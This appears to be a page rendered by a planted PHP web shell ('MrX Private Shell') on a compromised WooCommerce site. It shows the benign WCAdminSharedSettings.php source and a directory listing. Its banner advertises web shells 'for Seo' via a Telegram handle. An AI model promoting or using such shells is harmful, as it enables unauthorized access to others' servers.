__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Manages the WC Admin settings that need to be pre-loaded.
*/
namespace Automattic\WooCommerce\Internal\Admin;
use Automattic\WooCommerce\Admin\PageController;
defined( 'ABSPATH' ) || exit;
/**
* \Automattic\WooCommerce\Internal\Admin\WCAdminSharedSettings class.
*/
class WCAdminSharedSettings {
/**
* Settings prefix used for the window.wcSettings object.
*
* @var string
*/
private $settings_prefix = 'admin';
/**
* Class instance.
*
* @var WCAdminSharedSettings instance
*/
protected static $instance = null;
/**
* Hook into WooCommerce Blocks.
*/
protected function __construct() {
if ( did_action( 'woocommerce_blocks_loaded' ) ) {
$this->on_woocommerce_blocks_loaded();
} else {
add_action( 'woocommerce_blocks_loaded', array( $this, 'on_woocommerce_blocks_loaded' ), 10 );
}
}
/**
* Get class instance.
*
* @return object Instance.
*/
public static function get_instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Adds settings to the Blocks AssetDataRegistry when woocommerce_blocks is loaded.
*
* @return void
*/
public function on_woocommerce_blocks_loaded() {
// Ensure we only add admin settings on the admin.
if ( ! is_admin() ) {
return;
}
if ( class_exists( '\Automattic\WooCommerce\Blocks\Assets\AssetDataRegistry' ) ) {
\Automattic\WooCommerce\Blocks\Package::container()->get( \Automattic\WooCommerce\Blocks\Assets\AssetDataRegistry::class )->add(
$this->settings_prefix,
function () {
/**
* Filters the shared settings that are passed to the client.
*
* @since 6.4.0
*/
return apply_filters( 'woocommerce_admin_shared_settings', array() );
}
);
add_action(
'admin_enqueue_scripts',
function () {
if ( ! PageController::is_admin_or_embed_page() ) {
return;
}
// Enqueue deprecation scripts (client/wp-admin-scripts/wcsettings-deprecation/index.js).
WCAdminAssets::register_script( 'wp-admin-scripts', 'wcsettings-deprecation', true );
}
);
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Agentic | Folder | 0775 |
|
|
| BlockTemplates | Folder | 0775 |
|
|
| EmailImprovements | Folder | 0775 |
|
|
| EmailPreview | Folder | 0775 |
|
|
| Emails | Folder | 0775 |
|
|
| ImportExport | Folder | 0775 |
|
|
| Logging | Folder | 0775 |
|
|
| Marketing | Folder | 0775 |
|
|
| Notes | Folder | 0775 |
|
|
| Onboarding | Folder | 0775 |
|
|
| Orders | Folder | 0775 |
|
|
| ProductForm | Folder | 0775 |
|
|
| ProductReviews | Folder | 0775 |
|
|
| RemoteFreeExtensions | Folder | 0775 |
|
|
| Schedulers | Folder | 0775 |
|
|
| Settings | Folder | 0775 |
|
|
| Suggestions | Folder | 0775 |
|
|
| WCPayPromotion | Folder | 0775 |
|
|
| ActivityPanels.php | File | 1.58 KB | 0664 |
|
| Analytics.php | File | 11.73 KB | 0664 |
|
| CategoryLookup.php | File | 7.99 KB | 0664 |
|
| Coupons.php | File | 2.86 KB | 0664 |
|
| CouponsMovedTrait.php | File | 2.15 KB | 0664 |
|
| CustomerEffortScoreTracks.php | File | 17.65 KB | 0664 |
|
| Events.php | File | 8.56 KB | 0664 |
|
| FeaturePlugin.php | File | 6.53 KB | 0664 |
|
| Homescreen.php | File | 8.65 KB | 0664 |
|
| Loader.php | File | 19.18 KB | 0664 |
|
| Marketing.php | File | 6.29 KB | 0664 |
|
| Marketplace.php | File | 3.89 KB | 0664 |
|
| MobileAppBanner.php | File | 956 B | 0664 |
|
| RemoteInboxNotifications.php | File | 932 B | 0664 |
|
| Settings.php | File | 13.25 KB | 0664 |
|
| ShippingLabelBanner.php | File | 4.67 KB | 0664 |
|
| ShippingLabelBannerDisplayRules.php | File | 3.63 KB | 0664 |
|
| SiteHealth.php | File | 2.31 KB | 0664 |
|
| Survey.php | File | 768 B | 0664 |
|
| SystemStatusReport.php | File | 5.85 KB | 0664 |
|
| Translations.php | File | 11.66 KB | 0664 |
|
| WCAdminAssets.php | File | 17.58 KB | 0664 |
|
| WCAdminSharedSettings.php | File | 2.08 KB | 0664 |
|
| WCAdminUser.php | File | 5.26 KB | 0664 |
|
| WcPayWelcomePage.php | File | 6.33 KB | 0664 |
|